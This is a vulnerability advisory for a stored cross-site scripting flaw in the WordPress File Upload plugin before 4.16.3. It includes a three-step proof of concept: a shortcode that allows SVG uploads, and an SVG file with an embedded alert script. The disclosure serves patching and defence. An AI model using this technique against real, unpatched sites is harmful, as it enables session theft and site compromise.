WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Malicious SVG

2022-02-1400:00:00

apple502j

106

wordpress

file upload

stored cross-site scripting

contributor+. malicious svg

EPSS

0.001

Percentile

21.4%

JSON

The plugin allows users with a role as low as Contributor to configure the upload form in a way that allows uploading of SVG files, which could be then be used for Cross-Site Scripting attacks

1. As a contributor (or above) add the following shortcode to a post: [wordpress_file_upload uploadpatterns="*.svg"]
2. Preview/view the post and upload the following xss.svg file <svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert(/XSS/)</svg:script></svg>
3. Go to /wp-content/uploads/xss.svg to trigger the XSS

References

plugins.trac.wordpress.org/changeset/2677722

EPSS

0.001

Percentile

21.4%

JSON

Related for WPEX-ID:18902832-2973-498D-808E-C75D1AEDC11E